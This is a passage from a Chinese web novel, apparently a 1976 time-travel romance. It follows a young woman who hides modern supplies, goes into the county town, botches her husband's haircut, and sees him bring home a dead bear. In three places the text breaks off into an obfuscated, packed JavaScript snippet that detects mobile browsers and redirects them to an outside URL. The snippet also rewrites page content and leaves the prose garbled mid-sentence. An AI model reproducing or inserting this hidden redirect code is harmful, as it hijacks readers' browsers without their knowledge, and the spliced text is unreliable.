原身只有两件打满补丁的单衣,苏青棠从自己囤的衣服里挑挑选选,发现除了睡衣、家居服、还有贴身穿的内衣、袜子这些藏在里面的衣物,竟然没一件外套和裤子能直接穿出门。 不是款式不对,是压根没法跟农村的衣服沾上边。好在内衣袜子不用露在外面,换成现代款的没人能发现,不用穿原身洗到发黄的小背心和破洞袜。 虽说她囤的大多是基础款,可跟1976年的衣服相比差的太多了,一眼就能看出来她的衣服不是百货商店的款式。 这时候大家的衣服不是灰黑蓝就是军绿色,布料不是粗布就是卡其布,的确良都算稀罕的时髦品。 人家领口、袖口设计的是小方领、直筒袖,主打一个朴素耐穿;而她的衣服料子是桑蚕丝、高支棉、天丝、醋酸,哪怕最便宜百搭的纯色莫代尔面料都带着光泽,领口和袖口的小设计花样百出,简约中带着精致,穿出去怕是会被打成特务。 她一个孤女在大队生活哪能随心所欲,突然穿一身新衣服肯定引人注意。人人都知道苏父有抚恤金,谁知道有没有人暗中惦记。 不知道小说里主角穿越后立马掏出来大把物资挥霍还不会引人注意到底是怎么做到的,怎么到自己身上,想进城赶集都要大队开证明。 家里有异性,苏青棠为了避嫌,于是把内衣混在换洗的衣物中间一起洗。 她正遮遮掩掩用手搓着内衣,帕鲁不知道从哪里突然冒了出来,伸手就把她面前的脸盆端了过去。 苏青棠当场愣住,手上还滴着泡沫,这是干啥? “水冷,我来。” 苏青棠大脑宕机了两秒,立马上前抢脸盆。 她很感激帕鲁的贴心,但她正在洗内衣啊! 谢泊明没懂她为什么反应那么大,眼神里带着迷茫,洗衣服不是他的工作么? 苏青棠解释道:“我的衣服我自己洗就好了,待会拧衣服可能需要你帮忙,我力气不太够。” 见她这么说,谢泊明点了点头,退到院墙边上,背对着苏青棠,不知在墙角琢磨什么。 夜里,苏青棠早已进入梦乡,谢泊明在床上睁开眼,手上多了块带着金属光泽的石头,这是他之前在山洞随手捡的,手感温润就留了下来。 他把玩了一会儿,又放了回去。 谢泊明摸清楚了小姑娘的起床时间。天快亮的时候,他轻手轻脚起身收拾好床铺离开房间。 几乎是谢泊明关上门的同时,苏青棠也睁开了眼睛,眼里没有半点倦意。 她的生物钟很早,晚上八点睡觉,凌晨三点半就能听见身边的动静,四点钟已经彻底意识清醒。 只是起太早没事做,她躺在床上发呆想事情,顺便整理空间物资,选几本打发时间的杂书,再把能拿出来用的东西单独放在一起,方便随时取出。 苏青棠正想着,就听到帕鲁出门的动静。他跟大队长生活的时候,每天雷打不动早起挑水,直到把水缸装满为止。 大队长上了年纪,肯定不能亲自去挑水。现在他要挑自己家和大队长家一天要用的水,起得早并不奇怪。 苏青棠收回发散的意识,拿出一双纯棉男士袜子。 她和帕鲁共处一室,没闻到帕鲁身上有异味。帕鲁被大队长教得很有教养,身上拾掇的很干净。他收工后会去河里洗澡洗衣服,就是头发和胡子邋里邋遢的,估计不怎么剪。 他脚上穿的黄胶鞋不透气,袜子不知是什么材质,干脆拿双棉袜送给他,也好防患于未然。万一捂出来脚汗,遭罪的可是她啊。 谢泊明在河边处理完剩下的野猪肉,他将猪的五脏六腑全都扔掉,肉洗的干干净净,争取没留下一滴血,免得吓到了小姑娘。 他把处理干净的猪肉放回空间,挑着四桶水健步如飞,半滴都没撒出来。 苏青棠在他挑水的时间段起来了一次。她从空间拿了几颗个头很小的土豆丢进米缸藏着,中午就能做土豆焖饭了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16364270|183852||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 土豆在她老家的方言叫洋芋,用农村烧柴的大铁锅焖出来带着柴火香和米锅巴的洋芋蒸饭特别好吃,这也是苏青棠为数不多的幸福童年回忆。 谢泊明把水缸放满,从空间取出猪肉放进锅碗瓢盆。家里厨具少的可怜,剩下的猪肉实在放不下,只能把干稻草铺在吃饭的小桌上,再把猪肉放上面。 他站在门口敲了敲门,觉得应该问问小姑娘。这么多猪肉即便是他的饭量,也得两个月才能吃完。 小姑娘的饭量忽略不计,每顿饭跟猫食似的,才吃几口就放下了筷子。 “等我一下,我马上就起。”苏青棠早就换好了衣服,只是装作现在是自己的生物钟。 自从帕鲁住进来,早上起床出门后从不进卧室。除非她已经起床穿好衣服出来,他才会进去放东西和拿东西。 苏青棠打开门:“怎么啦?” 谢泊明指着桌上的肉:“太多了,放不下。” 苏青棠心想这也没多少啊,谢泊明看出她的想法,又走到厨房门口:“里面还有。” 苏青棠心里咯噔一下,意识到大事不妙,连忙跑去厨房。 这哪是还有一些,锅碗瓢盆里堆满了洗得干干净净、切得大小均匀的肉块。 厨房里猪山猪海,放眼望去全是红白相间的肉,像一座座分布不同地区的肉山。 她脑子都懵了,忍不住在心里哀嚎,这头野猪到底得有多大啊?! 谢泊明看见小姑娘的反应,自己也不由得紧张起来,担心自己好心办坏事。 可他昨天分明听到小姑娘惋惜,那么大一头野猪只拿回来两块肉,不知道剩下的会便宜什么野兽。 他正是听小姑娘嘴里念叨,才想着把肉拿出来,不管是做成腊肉或是如何处理,全凭小姑娘的想法。 谢泊明低下头:“对不起。” 苏青棠惊讶地转头:“你在跟我道歉吗?我…我不是怪你的意思,只是在烦恼这么多猪肉我们该藏在哪里。” 要是帕鲁再傻一点,她直接当着他的面把肉收进空间,顺便哄哄他就完事。 可显然帕鲁没那么笨,人家机灵着呢,现在这种呆呆笨笨的状态正适合。 谢泊明看向屋檐:“风干、烟熏。” 这么多肉全做成腊肉,这得吃多少年才能吃完啊!苏青棠想想就觉得头大。 苏青棠目光突然停顿,她发现了一个小问题。 “这头猪的内脏去哪了?” “扔了,臭。” 苏青棠捂着胸口:“你竟然把猪内脏扔了,那可是猪身上的宝贝啊!你知道猪肝、猪心、猪肺、猪腰子、猪大肠有多好吃吗?” 随即看到帕鲁迷茫的神色,她无奈地叹气:“算了,我没有责怪你的意思,下次记得不要再把内脏扔掉了。” 谢泊明没吃过动物内脏,从来都是丢掉。他从小姑娘的神情里看出来,自己应该是丢掉了这头猪身上最好吃的部位。 他当即转身就往门口走:“我去捡。” 苏青棠连忙拉住他的衣服:“你扔哪儿的?要是扔在山上就别去了,肯定被野生动物吃完了。” 谢泊明沉默地站在原地,懊恼不已。 8. 进城 苏青棠挑出十斤肉质较好的部位,往水桶底铺了层干稻草把肉藏好。 她对着帕鲁交代:“你假装去挑水,趁现在天刚亮大队没多少人出门,把肉给大队长家送去。” 等谢泊明从大队长家回来,苏青棠问他:“爸有没有问你猪肉哪来的?” 谢泊明摇摇头:“他知道。” 父亲对他隔三差五从外面带回野猪肉和山鸡野兔的事见惯不怪,只是叮嘱他下次不要再送,免得被人看见遭人眼红。 谢泊明把他的话当成耳旁风,老人对他有恩,他不可能做到不管不顾。 苏青棠稍稍松了口气,“那就好,爸一个人生活,我们平时多照看着点。” 从地里核对完人数回来,孙萍和李大娘路上商议着下午去县里赶集采买生活物品,顺口问苏青棠:“青棠,跟我们一块儿去不?” 苏青棠早就等着这一天了,终于能去县城逛一逛。 大队离县城说远不远,但也不近,恰好刚出县城,在城乡交界处,要是骑自行车的话三十分钟就到了。 中午吃饭的时间,同事们先后离开办公室。谢老头叫住了苏青棠,从贴身口袋掏出一个巴掌大的布包。褪色的布包用旧线缝了边角,一看就是贴身带了好些年。 他把布包塞到苏青棠手里:“丫头,拿着,看买点啥。你跟大傻结婚啥也没要,虽说是上门,也不能委屈了你。” 谢老头态度坚决,苏青棠没法推辞,只得收下。 回家路上,苏青棠心里堵得慌,说不出的难受。她走出办公室就打开了布包,里面是几张皱巴巴的票据,两张布票、两张糖票、还有两张猪肉票。老人家省吃俭用攒了很久,大队长身上的补丁不比别人少,都没给自己做一身新衣裳。 苏青棠告诉帕鲁自己下午要去赶集,如果自己下午回来的时间晚,他就自己热剩饭吃。 话刚说完她又顿住,帕鲁每顿饭吃得一粒米都不剩,中午这顿真能有剩饭吗? 她忍不住笑了,改口道:“你床底下藏着两箱泡面,要是饿了就先泡两包垫垫,等我回来给你做大餐。” 谢泊明也想跟着去赶集,他埋头往灶里添火,突然开口说了一句:“我有钱。” 苏青棠趁着油热把切成块的土豆推到锅里,热油瞬间噼里啪啦响个不停,盖过了他的声音。 “啊?你说什么,我没听清。” 谢泊明提高了音量:“我能拎东西。” 土豆在油锅里翻滚,很快炸得金黄焦香,苏青棠把特地蒸的夹生的米饭倒在土豆上,盖上锅盖焖饭。 她理解了帕鲁的意思:“你是说你也想去吗?” “嗯。”谢泊明有些不好意思,他听小姑娘说要跟大娘她们一起进城,担心自己加入会让她们不自在,可对县城的好奇战胜了顾虑。 苏青棠想也没想就同意了:“那就一起去吧,反正我们是坐牛车去,多个人也能坐下。” 到了约定的时间,苏青棠带着背着背篓的谢泊明到了。 李大娘一看见他俩,嘴角的笑意合不拢:“阿明也跟着来了?看看人家阿明多贴心,还陪着青棠一起,是怕青棠一个人拎不动东西吧!” 以前大家都喊谢泊明傻子,因为大队长也喊他大傻。他们或许没有恶意,但确实不尊重人。现在跟苏青棠关系亲近的人都心照不宣地改了口,尽量把他当正常人对待。 不然一个傻子跟一个父母双亡的孤女搭伙过日子,任谁看了都觉得这日子没盼头,万一青棠心里委屈想不开了咋整。 苏青棠在车上坐好,谢泊明把背篓放在身边,他在背篓里 孙萍背着半人高的背篓姗姗来迟,见到谢泊明眼睛一亮。 “傻...阿明来了啊。正好我今天想多买点东西,到时候可得劳烦你帮我背下背篓。” 李大娘嗔了她一眼:“你不得先问问青棠的意见?青棠可是一家之主。” 苏青棠连忙笑着摆手:“我买的东西不多,阿明哥是个热心肠,帮你搭把手肯定愿意。不过你要是买的东西多,也别让他一个人扛,到时候咱们仨搭手抬上车,能省不少力气。” 虽然帕鲁有着深不见底的力气,但苏青棠不想让他白白被人占用劳动力,免得别人习惯了,觉得这是他应该做的。更何况他力气大、吃得多,别人又不给他管饭。 孙萍尴尬地笑了笑:“我哪会一直占着他,就最后买完东西回牛车的路程让他帮我背一段路,不会累着他。”她又不服输地调侃:“倒是你,都会心疼人了。” 苏青棠这两天被调侃习惯了,她半点没脸红,反而弯着嘴角凑到孙萍身边:“孙姐,你还好意思调侃我。你不也心疼自家男人吗,我可听说你今天要扯布给他做衣服呢。” 孙萍把苏青棠推到谢泊明怀里:“去去去,就你属兔的耳朵尖。大娘,借你肩膀让我靠着眯一会儿,到地方了喊我。” 谢泊明下意识扶着小姑娘,苏青棠在他身边坐稳,没有继续跟孙姐互怼,好奇地东张西望,小脸上满是兴奋。 苏青棠激动了没一会儿,就失去了兴致。路上除了连绵不断的山还是山,偶尔见到几间房子,也跟自家大队的土坯房没两样。 当然最熬人的是坐车。哪怕车架上垫了一层稻草,也挡不住硬邦邦的木头硌人。 她身上本就没多少肉,屁股上更是没二两肉,坐骨抵着车架被硌得难受,怎么挪都找不到舒服的姿势。 苏青棠忍不住想:哪怕下去跟着牛车跑,也比在车上被硌得坐立不宁强。 可李大娘和孙姐正闭目养神,看起来习以为常的样子,她要是真下去跑,反倒显得自己像脑子有病,只好把念头压了回去。 终于熬到了进城,苏青棠立马从车上跳下去。 “我想先逛逛,好久没来县城了。”这话不假,原身一家人不怎么来县城,以往采办生活用品,都是苏父借辆自行车去煤矿附近的公社一次性买回来。 自从那条路发生了泥石流,到现在还没彻底清理完。况且苏母就是在那条路上出的事,如今又有泥石流的隐患,想买东西要么绕路,要么只能来县城。 李大娘有些不放心:“你一个人别跑丢了。” 孙萍笑着打趣:“大娘,人家有俩人呢。” 苏青棠笑着道:“我跟阿明哥四处逛逛,待会去供销社找你们汇合。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16364271|183852||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>她俩要买的东西多,肯定要在供销社待好一会儿。 苏青棠正好想带着帕鲁去理发,顺便刮胡子。帕鲁的发型留得有点长,显然是许久没剪了。前面的头发垂下来挡着一半眼睛,碎发胡乱耷拉着,倒有点像漫画里那种带着病娇阴湿感的款式;后面的头发垂到了脖子附近,有点拖沓。 其实单看整体轮廓并不难看。 只是他每天在地里干农活,风吹日晒不说,汗水一浸,头发就粘在头皮和脖颈上,软塌塌的一点儿也不清爽,哪还有什么漫画感,只剩邋遢的感觉,看得苏青棠总觉得该好好拾掇拾掇。 谢泊明身材高大,苏青棠跟他说话都得抬头,因此没怎么仔细瞧过他正脸毫无遮挡的模样。只有第一次碰面的时候大概扫了一眼,只记得眉眼轮廓周正,不磕碜,看着挺顺眼。 两人到了理发店门口才知道,剪头发也要票,门口还排着长队,苏青棠只得带着帕鲁去别处逛。 她并没有感到气馁,大不了回家自己给他剪。之前自己的空气刘海都是对着镜子练出来的手艺,剪短发不就是几剪子下去完事儿,手拿把掐,没道理给帕鲁剪个短发还能翻车。 两人顺着街逛到国营肉铺,柜台里只剩了几根骨头和一堆内脏。苏青棠跟柜台里的师傅说要两根猪肋排,又问能不能把剩下的猪肠一起卖给她。 家里还剩一堆野猪肉吃不完,需要用肠衣做腊肠,不然总不能全做成腊肉,那得吃到猴年马月。 她特意嘱咐师傅:“麻烦您给翻干净点,我用来做肠衣得无油无垢,免得放久了变质。” 师傅见她要的是没人抢的内脏,痛快地答应了,收了钱和肉票,仔细地把猪肠里外洗好,连猪肋排一起用油纸包好递过来。 谢泊明在苏青棠伸手前比她先一步接过,顺手放进了身后的背篓里。 从肉铺离开后,街上偶尔有骑着二八大杠的人路过,谢泊明盯着自行车目不转睛,像个没见过世面的小孩子一样。 苏青棠见他这幅模样,不由得心软。一辆二八大杠竟然吸走他全部注意力,也太容易满足了。 她空间代步工具应有尽有,别说两轮车,还有两辆越野车和一辆设备齐全的旅游房车,可惜没法光明正大拿出来。不然送他一辆自行车,以后自己进城,屁股能少遭点罪。 苏青棠带着帕鲁在县城逛了一圈,繁荣程度跟她想象中有点出入,和她上辈子去支教时的山区集市差不多。 她在供销社扯了几尺布料才跟李大娘她们会合。 孙萍踮脚想看背篓里的东西,可惜谢泊明太高,只能瞥见叠放整齐的花布。 “青棠,你买这么漂亮的料子啊?”花布价格比一般的布要高一点,她都舍不得买。 苏青棠抿着嘴笑:“孙姐,你眼睛真尖!这是我从一堆布料里挑出来最漂亮的一块花布,想做件薄衬衫,没想到你先看出来了。可惜只能扯几尺,要是有钱就把那一匹布全买了,也送你一条。” 苏青棠熟练使用现代职场领导的画饼套路,反正她买不起一匹布,真买了未必会送。总之先把好话说出去,对方只会感到开心,不会再揪着她花大价钱买了花布这件事不放。 9. 天菜 回家后,苏青棠发誓自己下次进城一定要带坐垫,牛车是一天也坐不下去了。 谢泊明把背篓里的东西全放到了桌上,然后独自坐在屋檐下面发呆。 苏青棠在床上躺了一会儿,终于想起了正事。 她从空间拿出自己的剪发套装,准备给帕鲁洗心革面。 苏青棠叫帕鲁去洗头,她搬来高凳放在门槛上,又去厨房把烧火的小矮凳抱出来放院子里。 自己坐高凳,帕鲁坐在院子里的矮凳上,这个高低差正适合剪头发。 谢泊明顶着一头湿漉漉的头发坐在小矮凳上,两条长腿曲起来碰到膝盖,模样有点可怜。 苏青棠帮他擦了擦头发,直到不再滴水,拿起剪刀咔咔咔在他头上运作起来。 地面很快堆起乌黑浓密的发丝,苏青棠越剪越顺手,她心里不由得涌起自豪,剪头发也没多难嘛。 或许她应该去当这个时代的托尼老师,人家国营理发店生意爆满,理发师拥有绝对的权力,非必要不能殴打顾客,而顾客只能老老实实配合,这工作也太爽了。 剪完头发,帕鲁总算露出了正脸,接下来是胡子。 苏青棠捏着下巴,端详着帕鲁的正脸。 还别说,帕鲁竟然颇有几分姿色。他此时的模样就算不刮胡子,放在网上也是叔系天菜的长相。 想到这,苏青棠有点小窃喜。只要再活四十年,说不定还能送帕鲁当网红,吃奶奶辈的流量。 一想到自己连未来养老都有了保障,苏青棠脸上的笑容越来越大:“咳咳,我来给你刮胡子,你千万不要乱动,不然可是会破相的哦。” 刮胡子苏青棠可太熟悉了,无它,唯手熟尔。 她有多年刮眉毛经验,刮胡子比剪头发更手拿把掐。 苏青棠怎么舍得让他这张脸破相,帕鲁的姿色可是自己的养老保险,等以后保险兴起了一定要给他的脸买保险! 到时候什么秀才状元、一笑倾城倾国的网红,哪有帕鲁这张脸能打。 帕鲁脸上的胡茬越来越稀疏,原本遮了小半张脸的青黑胡茬被刮得干干净净,露出底下光洁的下颌线。 她后退半步,借着屋檐下的灯光仔细打量:刮掉了显老的胡茬,额前的碎发也都剪到了发际线。帕鲁的眉眼很清俊,眼尾上挑却不锋利,鼻梁挺阔,连嘴唇的轮廓都透着少年气,完全没她猜测的那么老。 苏青棠忍不住伸手戳了戳他的脸颊,皮肤细腻,触感软乎乎的,跟他高大的身形一点都不搭。 怎么突然感觉自己才是老牛吃嫩草呢。 她紧张地咽了咽口水,提前做好了心理准备:“你…你到底多大啊?” 谢泊明被她突然的动作戳得一僵,耳尖悄悄泛红,声音也低了些许:“二十…二十三。” “才二十三?”苏青棠瞪大了眼睛,之前他留着胡子怎么看都像是三十出头的糙汉,没想到收拾干净变了个人。眼神懵懂清澈,脸上的青涩还没完全褪去,这不就是刚从学校毕业的大学生吗?! 罪过罪过,苏青棠轻抚胸口。本以为自己吃点亏,现在貌似是她捡了大便宜。 苏青棠一颗心小鹿乱撞。剪头发之前心无杂念,问题是现在她面前坐着一个任她拿捏的绝世大帅哥,对方还是她招回来的上门女婿。 这无辜的眼神配上堪比动漫建模的脸,苏青棠不禁在心里呐喊:老天奶,之前是小的有眼无珠,错怪您老人家了! 本以为穿成渣男原配是被老天爷戏弄了,原来是命运大神的馈赠。看这事儿闹的,早说啊! 不过苏青棠的喜悦还没持续多久,帕鲁的头发一干,她脸上的笑容就僵住了。 空气瞬间安静下来,两人对着沉默,她的目光死死钉在帕鲁的头发上,心里只剩一个念头:完了。 刚才剪的时候手感火热,怎么头发干了变得像狗啃。说难听一点,狗啃都比她剪的整齐。 有首歌怎么唱来着,能应景地表达苏青棠此时的心情。 其实谢泊明并不知道发生了什么,只是见小姑娘一直盯着自己的头发,心里才有了不好的预感。 苏青棠脚趾已经在鞋底抠出了三室一厅,她只想找个地缝钻进去。然而在这最尴尬的时候,大脑偏要跟她做对,突然循环播放起一段旋律,歌词简直是为她量身定做:“我晒干了沉默,悔得很冲动”。 这感觉太熟悉了,就跟考试前越紧张,背的滚瓜烂熟的知识点全忘了,满脑子只剩歌词循环,关键还停不下来。 苏青棠觉得自己需要一首歌的时间来抢救一下,然后再用十首歌的时间把发型的问题圆过去。 “小明哥,嗯这个发型,不仔细看还行。如果你能接受它有点潦草,那么它还是挺耐看的,要不我送你一顶帽子吧?” 苏青棠心虚对手指,托尼老师真不是谁都能当的,难怪有些人不喜欢让学徒给自己剪发。 谢泊明抬手在头上摸了一把,参差不齐的触感让他对发型有了粗略的了解。 他拿起苏青棠给他刮眉的小刀,举起镜子,刷刷几下把头上仅剩的头发全部刮掉,只剩一层利落的青皮。 苏青棠目不转睛地盯着他的动作,她记得自己在哪看过一句话:男人帅不帅取决于他敢不敢剪寸头。 如果说刚才的帕鲁是眼神湿漉漉的无害小狗,那此刻头发刮成极短寸头后,彻底换了一种风格。 尤其是他对着镜子刮头发时,脸上半点表情都没有,下颌线绷成一道冷硬的弧线,连眉眼间的温润都淡了几分,只剩下不好惹的凌厉感,看着竟然有点凶。 谢泊明剪了个极短寸头,短到贴着头皮,是只有军人会留的利落模样。配上他本就挺拔的大高个,活像漫画里走出来的九头身硬汉。不是那种带着痞气的凶悍,而是往那一站,自带不好惹的气场,让人不敢轻易靠近。 哪怕他是个傻子,也足够唬住人了。 苏青棠羞愧得脸颊发烫,她明明抱着十足的信心,觉得能剪出一个超完美的发型,结果不如帕鲁随手用刮眉刀一刮。 谢泊明把刮眉刀擦干净:“没关系。” 帕鲁体贴的像个小天使,苏青棠更愧疚了:“明天咱们家蒸包子,多包点存着,以后早饭别吃泡面了。” 谢泊明没懂这个逻辑。他很喜欢泡面,不仅能吃饱,还能喝到鲜美的汤,他不喜欢干巴巴的包子。 苏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16364272|183852||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 青棠用美食引诱他放弃泡面:“泡面没营养,偶尔垫垫肚子还行,不能天天吃。你放心,包子很好吃,馅还比饺子更丰富。你不是爱吃饺子嘛,咱们家现有的食材就能做猪肉粉条、白菜猪肉、荠菜猪肉等等,随便怎么排列组合,都能做出不一样的馅。” 谢泊明眼里闪过一丝迷茫。他吃过包子,跟她口中描述的完全不一样。 先前被邻居喊去帮忙盖房子,午饭就有肉包子。一起干活的人都抢着吃,说那是好东西。可他吃了两个,既没吃到里面的肉,也没品出来有多美味。 过年时有人给他家送过包子,他和父亲一人两个。据说是肉包子,他只隐约尝出来油渣的味道,没有吃到肉。 小姑娘信誓旦旦的样子,让谢泊明迟疑地点了点头,对她口中的包子有了不一样的期待。她厨艺好,做的饭菜是他从未吃过的美味,说不定做出来的包子跟他吃过的是两种东西。 至于头发,他完全不介意。从前他一直留寸发。只是这具身体来历不明,虽说和他原本的长相一模一样,但自己是跟虫族同归于尽,不可能留下完整的躯体。 他任由头发疯长,不过是想低调行事,免得被这具身体的熟人或仇人认出来,平白招惹麻烦。自从找回空间钮,他才没那么担心了,或许这就是他自己的身体。 苏青棠心里松了口气,只要给他做好吃的就能哄好,希望这个优点能一直保持下去。 谢泊明剪完头发,换上干活的衣服出了门。 大概过了半小时,大队响起一片喧哗声。 苏青棠听到动静,站在院子里犹豫要不要出去看看。 隔壁王婶家的大虎小虎大声嚷嚷着跑回来:“娘,快去大队看黑熊,大傻子从山上拖回来一头大黑熊!” 小虎大着嗓门补充:“好大一头熊,比爹还魁梧!” 王婶手上捻着缝被子的针,从屋里出来:“去去去,有你们这么说自己爹的?当心你爹回来揍你。还有,我跟你们说多少回了,别喊人家傻子。那是青棠姐姐的丈夫,你们吃了人家送来的炒腊肉,好意思喊人家傻子?” 大虎和小虎被母亲劈头盖脸训斥,心虚地耷拉着脑袋,不敢吭声。 “以后见到人家,要么喊哥哥,要么喊姐夫,再让我听见你们喊人家傻子,回头就让你爹好好收拾你们!” 王婶平时最护着俩孩子,可再宠溺也拎得清,不能把娃养成忘恩负义的白眼狼。谁真心对他们好,这俩小的总得心里有数才行。 苏青棠在院子里听完王婶训孩子,拿上大门钥匙出门。 她站在王家门口:“婶子,我听大虎喊着咱们大队来了头黑熊?要一起去看看吗?” 大虎瞬间抬起头,神色激动:“真的是熊!是大傻…哥从山上拖回来的,可惜断气了。” 他下意识看向母亲,这回总不能骂他了吧。 王婶瞪了他一眼,只想抄把扫帚抽他屁股,好在苏青棠没有在意他对帕鲁的称呼。 一旁的小虎怕被连累挨揍,又或是想讨好苏青棠,昨天那顿炒腊肉他现在还在回味着呢。 他轻轻扯了扯苏青棠的袖子,小声问:“姐姐,我们该叫大傻哥啥呀?” 10. 车速 谢泊明带回来的大黑熊被放在了大队部仓库,明天一早送去公社。 苏青棠跟着去看了一眼,果然是庞然大物,哪怕倒在地上也像一座大山。 沿路看过去,路上全是拖拽出来的痕迹。 谢泊明剪了短发,很多人没认出来他,就连大队长看见他都愣了几秒。 他把谢泊明拉到一边,压低声音:“野猪肉是不是从它嘴里弄出来的?” 谢老头以为黑熊是谢泊明打死的,心里忍不住发愁。 谢泊明点了点头,又摇了摇头:“它们打架,我捡漏。” 谢老头松了一口气:“你就说你去山上捡菌子,发现了这头死熊,不要提到野猪。” 谢泊明会捡菌子这事儿大队都知道,自从张猎户的打猎工具被收走后,没人敢往山里面去,只有谢泊明艺高人胆大能全须全尾从山上回来。 谢老头心知肚明,早上给他送来的猪肉,估摸着就是从野猪身上割下来的。 既然猪肉进了肚子,这件事只能到此为止。毕竟野猪身上已经动过刀子了,哪怕只割了一斤肉,这时候再把剩下的拿出来分,谁家不会多心? 指不定旁人嚼舌根说你藏了十斤八斤,不然好好的怎么会愿意大方地把一头猪分出来,到时有嘴都说不清,反倒落个不公平的话柄。 更何况,眼下更该上心的是,他儿子从山上带回来的黑熊尸体,上交到公社还能为大队争取一份荣誉呢。 大队民兵守在仓库门口,等凑热闹的人离开后,仓库大门上了一把锁。 苏青棠和王婶并排往回走,王婶津津乐道:“我还没见过这么大一头黑瞎子呢,记得小时候跟俺爹上山,我们拿着猎枪漫山遍野追野猪,别提有多痛快。” 大虎眼睛瞪得老大,连忙拽着母亲的手追问:“娘,你还摸过枪呢?!真的假的!” 王婶语气里满是自豪:“不就是枪么,你外公年轻时候还拿枪杀过两个鬼子呢,就是那把打野猪的猎枪。” 苏青棠心中的钦佩之意油然而起:“婶子,您父亲竟然杀过鬼子,好厉害啊!” 她只在抗日剧里看过打鬼子,没想到有朝一日抗战英雄离自己如此近。 王婶不好意思地笑了笑:“老头子上了年纪,最自豪的就是杀过鬼子,遗憾的是没能多杀几个。” 其实这些故事她早就听腻了,没想到青棠和孩子们把老头子的事迹当成了英雄传奇,一脸崇拜的模样。 次日,公社派人来核实情况,确认黑熊死于猛兽撕咬,不属于人为猎杀。检查过熊的完好程度,除了背部皮毛在地面摩擦有些损伤,这头熊的价值很高,至少得有200公斤。 中午吃过饭,公社干事点名让谢泊明和大队民兵把黑熊尸体用牛车送到公社。 大家齐心协力把黑熊抬上牛车。由于黑熊体积过大,牛车没有能坐人的空位,大家只能跟在后面推车,让一头老黄牛拉一头熊实在费力。 苏青棠在办公室窗户边跟同事们看完全程,孙萍挽着她的胳膊埋怨道:“你家男人咋突然剪那么短的头发,上午看见吓我一跳,看着也太凶了吧。” 苏青棠坐回座位,笑吟吟解释:“是我的错,我昨天带他进城本来是想剪头发呢,结果排了一条长队。我就想着不就是剪短发嘛,自己在家就给他剪了。” 孙萍预料到发生了什么,噗嗤笑出声:“你啊,剪头发真有那么简单,还要理发师干什么?” “不过说实话,虽然看着凶了点,但你是捡到宝了。” 孙萍对着她挤眉弄眼,调侃道:“十里八乡都找不到第二个比你男人还俊的吧!” 面对孙萍的打趣,苏青棠脸上泛起红晕,坦坦荡荡承认:“确实,吃饭我都不用吃菜,光看他的脸能多吃两碗。” 孙萍故作惊讶,拖长了语调:“哟,你这丫头吃这么好,日子过得也太滋润了,不怕把小肚子撑圆喽!” 这话明着说吃饭,暗里藏着一听就懂的调笑,苏青棠脑子一转,反应过来孙萍在说什么,脸颊瞬间红了,连忙把脸埋到李大娘怀里:“大娘,孙姐拿荤话逗我呢!” 她上一次听这种秒懂的话还是在大学宿舍,半夜舍友们时不时聊一些突然上高速的话题。没想到这个时代女人们之间也会说这类玩笑,她刚才差点以为是自己想歪了。 李大娘笑着轻拍苏青棠的后背,语气里满是纵容:“她啊,向来嘴上没个把门的,什么荤话都敢往外说。” 话是这么说,却没有半分责备的意思。毕竟女人们凑在一起要是连这点玩笑都不能开,那还有啥意思。 只是青棠还是个小姑娘,不知道海棠生前有没有教她结婚后的事。按理说应该是没教,这种事一般都是等姑娘快出嫁了才偷偷叮嘱。 她和孙萍不好直白地问,如今让青棠听些玩笑话,慢慢了解一点儿,免得以后怀孕了还不知道孩子是从哪来的。 苏青棠很快就过去了害羞的劲儿。她精读各类小说,不说上万本,起码上千本小金文总是有的,她曾凭借着丰富的理论知识把大学舍友们唬得一愣一愣。 这回在孙姐手上落了下风,车速来的措手不及,她早晚要把这个场子找回来,也让孙姐害羞一次。 苏青棠依靠着李大娘:“大娘,我想做包子,您知道哪有地软吗?” 李大娘惊讶一笑:“你算是问对人了,我正想问你们今天去不去挖地皮菜呢。” 地软有好几个名字,地木耳、地皮菜都是它。 孙萍有些纠结:“我也想挖点,我家男人跟孩子都不爱吃这玩意儿,挖回去怕是只有我一个人吃。” 李大娘眼睛一瞪:“你管他们做什么?有得吃就不错了还挑三拣四!谁不爱吃谁自己做饭去,惯得他们!” 孙萍顿时喜笑颜开:“就是,爱吃不吃。” 约好了下午去挖地软,苏青棠开始摸鱼工作。 没忙多久,外面就响起了吵吵嚷嚷的声音。 “苏青棠,青棠呢?你们把我外孙女藏哪去了!” 大队部院子里传来熟悉的刺耳声,不少在附近干活的人都围过来凑热闹。 苏青棠的外婆和舅舅又来了,看这架势,是势在必得。 